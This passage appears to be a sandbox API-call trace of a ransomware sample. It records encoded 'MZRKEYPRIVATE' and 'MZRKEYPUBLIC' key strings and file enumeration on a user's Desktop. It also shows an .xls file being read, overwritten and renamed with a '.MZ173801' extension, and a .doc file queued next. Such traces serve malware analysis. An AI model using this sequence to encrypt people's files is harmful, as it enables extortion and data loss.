Ohwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0177.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321ec7c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0177.312] GetCurrentThreadId () returned 0xab4 [0177.312] GetCurrentThreadId () returned 0xab4 [0177.312] GetCurrentThreadId () returned 0xab4 [0177.313] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0177.313] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a003c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0177.313] GetCurrentThreadId () returned 0xab4 [0177.313] GetCurrentThreadId () returned 0xab4 [0177.313] GetCurrentThreadId () returned 0xab4 [0177.313] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\LmhsbTNLSJY.xls" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\lmhsbtnlsjy.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0177.314] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0177.314] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0177.314] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x53c4 [0177.314] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0177.314] ReadFile (in: hFile=0x32c, lpBuffer=0x24a7e40, nNumberOfBytesToRead=0x53c4, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a7e40*, lpNumberOfBytesRead=0x19f74c*=0x53c4, lpOverlapped=0x0) returned 1 [0177.315] CloseHandle (hObject=0x32c) returned 1 [0177.316] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\LmhsbTNLSJY.xls" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\lmhsbtnlsjy.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0177.317] WriteFile (in: hFile=0x32c, lpBuffer=0x24ade70*, nNumberOfBytesToWrite=0x53c4, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24ade70*, lpNumberOfBytesWritten=0x19f758*=0x53c4, lpOverlapped=0x0) returned 1 [0177.319] CloseHandle (hObject=0x32c) returned 1 [0177.319] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\LmhsbTNLSJY.xls" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\lmhsbtnlsjy.xls"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\LmhsbTNLSJY.xls.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\lmhsbtnlsjy.xls.mz173801")) returned 1 [0177.320] GetCurrentThreadId () returned 0xab4 [0177.320] GetCurrentThreadId () returned 0xab4 [0177.320] GetCurrentThreadId () returned 0xab4 [0177.320] GetCurrentThreadId () returned 0xab4 [0177.320] GetCurrentThreadId () returned 0xab4 [0177.320] GetCurrentThreadId () returned 0xab4 [0177.320] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18d1ca60, ftCreationTime.dwHighDateTime=0x1d5e146, ftLastAccessTime.dwLowDateTime=0xc0e69440, ftLastAccessTime.dwHighDateTime=0x1d5e670, ftLastWriteTime.dwLowDateTime=0xc0e69440, ftLastWriteTime.dwHighDateTime=0x1d5e670, nFileSizeHigh=0x0, nFileSizeLow=0x4177, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="lOp2Pc8PoOE5fYa7j.doc", cAlternateFileName="LOP2PC~1.DOC")) returned 1 [0177.320] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0177.320] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0177.320] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\lOp2Pc8PoOE5fYa7j.doc" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\lop2pc8pooe5fya7j.doc"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18d1ca60, ftCreationTime.dwHighDateTime=0x1d5e146, ftLastAccessTime.dwLowDateTime=0xc0e69440, ftLastAccessTime.dwHighDateTime=0x1d5e670, ftLastWriteTime.dwLowDateTime=0xc0e69440, ftLastWriteTime.dwHighDateTime=0x1d5e670, nFileSizeHigh=0x0, nFileSizeLow=0x4177)) returned 1 [0177.321] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\lOp2Pc8PoOE5fYa7j.doc" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\lop2pc8pooe5fya7j.doc")) returned 0x20 [0177.321] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\lOp2Pc8PoOE5fYa7j.doc", dwFileAttributes=0x80) returned 1 [0177.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0177.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/Q